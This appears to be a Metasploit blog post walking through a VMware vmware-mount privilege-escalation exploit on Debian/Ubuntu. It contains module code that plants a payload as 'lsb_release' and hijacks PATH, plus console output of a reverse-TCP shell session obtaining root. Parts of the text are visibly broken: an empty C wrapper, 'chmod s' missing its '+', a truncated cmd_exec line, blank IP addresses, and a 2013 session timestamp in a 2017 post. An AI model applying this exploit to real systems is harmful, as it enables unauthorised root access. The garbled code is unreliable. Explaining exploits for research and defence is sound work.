Last updated at Wed, 23 Aug 2017 20:41:10 GMT

On August 22, Tavis Ormandy dropped a bug in VMWare that takes advantage of a build configuration in Linux distributions. Providing you have user-level access to a Debian or Ubuntu box with VMWare installed, this exploit gives you root access. It's a fun bug and I want to explain how the Metasploit module for it works:

The background

There's this thing called priv_mode in bash that means it will drop privs if euid != uid. Anyone who has ever tried to "chmod s /bin/sh" will recognize this as a minor frustration that is easily circumvented by simply writing a wrapper in C that does something like:

int main(int argc, char **argv) {
    return 0; }

That is not the thing that priv_mode is meant to fix (although it is annoying if you don't know what's happening when it appears that your privilege escalation bug is getting you an unprivileged shell). What it is really effective at stopping is the case of a setuid binary calling system(3) or popen(3) before dropping privs. It turns out that VMWare Workstation and Player ship with a binary called vmware-mount that does exactly this.

The steps for achieving privilege escalation are pretty straight forward:

  1. Create an executable to be used as our payload
  2. Write it to the host OS's filesystem (in this case, we have to call it lsb_release)
  3. Mark it executable
  4. Run the vulnerable setuid binary

The exploit

This exploit will drop our payload as an executable, so first we include the Msf::Exploit::EXE mixin, which will give us access to several convenience methods for creating executables.

include Msf::Exploit::EXE

Then, in the exploit method, we create an ELF file with generate_payload_exe. This method is smart enough to build the right kind of executable for whatever platform and architecture is supported by the module and currently selected. Then we just write the file and execute the vulnerable utility with the current directory added to the path. These three lines are basically the meat of the exploit.

write_file("lsb_release", generate_payload_exe)
cmd_exec("chmod x lsb_release") cmd_exec("PATH=.:$PATH

When our shell runs, it will block the controlling process. In our case, that would cause the existing shell session to hang, which is pretty impolite. To solve that problem, we prepend some shellcode to the generated binary that just forks and exits the parent process, leaving our payload to happily frolick about in the background.

The money shot

15:09:57 0 1 exploit(vmware_mount) > sessions -i 1
[*] Starting interaction with 1...

uid=1000(egypt) gid=1000(egypt) groups=1000(egypt),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare) ^Z
Background session 1? [y/N]  y

15:09:05 0 1 exploit(vmware_mount) > show options

Module options (exploit/linux/local/vmware_mount):

Name     Current Setting  Required  Description
----     ---------------  --------  -----------
SESSION  1                yes       The session to run this module on.

Payload options (linux/x86/shell/reverse_tcp):

Name   Current Setting  Required  Description
----   ---------------  --------  -----------
LHOST     yes       The listen address
LPORT  1234             yes       The listen port

Exploit target:
Id  Name
--  ----
0   Automatic

15:09:10 0 1 exploit(vmware_mount) > run

[*] Started reverse handler on
[*] Max line length is 65537
[*] Writing 175 bytes in 1 chunks of 529 bytes (octal-encoded), using printf
[*] Sending stage (36 bytes) to
[*] Command shell session 2 opened ( -> at 2013-09-04 15:08:16 -0500
id uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare),1000(egypt)

Want to give this a try yourself?

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.